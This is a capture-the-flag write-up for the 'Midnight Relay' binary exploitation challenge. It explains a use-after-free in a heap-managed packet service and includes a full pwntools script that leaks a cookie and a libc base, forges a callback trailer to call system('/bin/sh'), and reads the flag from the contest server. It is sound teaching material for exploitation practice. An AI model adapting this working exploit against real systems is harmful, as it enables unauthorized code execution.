551 words
3 minutes
BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup
Category: Binary Exploitation
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}
Challenge Description
Given midnight_relay.tar.gz. Remote: nc 20.193.149.152 1338
Protocol: Packet header = op (u8) | key (u8) | len (u16 LE), max payload 0x500. Operations: 0x11 forge, 0x22 tune, 0x33 observe, 0x44 shred, 0x55 sync, 0x66 fire.
Analysis
Each slot (idx & 0xf) entry contains: ptr (qword), size (u16), armed (u8).
forge allocates calloc(1, size+0x20) and writes trailer at t = ptr + size:
t[0] = (t >> 12) ^ cookie ^ 0x48454c494f5300ff
t[3] = ((rand()<<32) ^ rand())
t[2] = ptr
t[1] = (t >> 13) ^ idle ^ t[0] ^ t[3]fire computes callback: fn = (t >> 13) ^ t[0] ^ t[1] ^ t[3] then call fn(). Important: rdi contains ptr at call rax, so if fn = system, it executes system(ptr).
Vulnerabilities:
- Use-after-free:
shredfrees chunk but does not clearslots[idx].ptr - UAF read/write:
observe/tunecan still access freed memory - Trailer rewrite:
tunecan rewrite all trailer fields (size+0x20window)
Exploitation
- Forge chunk 0 with
/bin/sh\x00at chunk start - Leak
ptr+cookiefrom trailer (observe(0, size, 0x20)) - Free large chunk (size
0x500) and leak unsorted-bin pointer at offset0x20 - Compute libc base:
libc_base = unsorted_fd - 0x203B20 - Restore
/bin/sh\x00at chunk start (free clobbers first bytes) - Forge valid trailer so decoded callback =
system syncwith correct token, thenfire=>system('/bin/sh')
#!/usr/bin/env python3
from pwn import *
HOST, PORT = '20.193.149.152', 1338
CONST = 0x48454C494F5300FF
INIT_EPOCH = 0x6B1D5A93
MAIN_ARENA_PLUS60 = 0x203B20
SYSTEM_OFF = 0x58750
io = remote(HOST, PORT)
io.recvline()
epoch = INIT_EPOCH
def key(payload: bytes) -> int:
global epoch
x = epoch
for b in payload:
x = ((x * 8) ^ (x >> 2) ^ b ^ 0x71) & 0xFFFFFFFF
return x & 0xFF
def bump(op: int):
global epoch
epoch ^= ((op << 9) | 0x5F)
epoch &= 0xFFFFFFFF
def send_pkt(op: int, payload: bytes = b''):
io.send(p8(op) + p8(key(payload)) + p16(len(payload)) + payload)
def forge(idx: int, size: int, tag: bytes):
send_pkt(0x11, p8(idx) + p16(size) + p8(len(tag)) + tag)
bump(0x11)
def tune(idx: int, off: int, data: bytes):
send_pkt(0x22, p8(idx) + p16(off) + p16(len(data)) + data)
bump(0x22)
def observe(idx: int, off: int, n: int) -> bytes:
send_pkt(0x33, p8(idx) + p16(off) + p16(n))
d = io.recvn(n, timeout=2)
if len(d) != n:
raise EOFError(f"short observe: expected {n}, got {len(d)}")
bump(0x33)
return d
def shred(idx: int):
send_pkt(0x44, p8(idx))
bump(0x44)
def sync(idx: int, token: int):
send_pkt(0x55, p8(idx) + p32(token))
bump(0x55)
def fire(idx: int):
send_pkt(0x66, p8(idx))
bump(0x66)
# 1) Allocate command chunk and leak trailer
idx = 0
size = 0x500
forge(idx, size, b'/bin/sh\x00')
tr = observe(idx, size, 0x20)
t0, t1, ptr, t3 = [u64(tr[i:i+8]) for i in range(0, 32, 8)]
cookie = t0 ^ ((ptr + size) >> 12) ^ CONST
# 2) Leak libc from unsorted bin
forge(1, 0x80, b'G')
shred(idx)
unsorted_fd = u64(observe(idx, 0x20, 8))
libc_base = unsorted_fd - MAIN_ARENA_PLUS60
system = libc_base + SYSTEM_OFF
# Restore command string (free metadata clobbered chunk start)
tune(idx, 0, b'/bin/sh\x00')
# 3) Forge authenticated trailer for callback=system
T = ptr + size
ft0 = ((T >> 12) ^ cookie ^ CONST) & ((1 << 64) - 1)
ft3 = 0
ft2 = ptr
ft1 = ((T >> 13) ^ system ^ ft0 ^ ft3) & ((1 << 64) - 1)
tune(idx, size, p64(ft0) + p64(ft1) + p64(ft2) + p64(ft3))
# 4) Arm and trigger
token = (epoch ^ (ft0 & 0xFFFFFFFF) ^ (ft3 & 0xFFFFFFFF)) & 0xFFFFFFFF
sync(idx, token)
fire(idx)
# 5) Read flag
io.sendline(b'cat /app/flag.txt; exit')
print(io.recvrepeat(2).decode('latin-1', errors='ignore'))
io.close() BITSCTF 2026 - Midnight Relay - Binary Exploitation Writeup
https://blog.rei.my.id/posts/44/bitsctf-2026-midnight-relay-binary-exploitation-writeup/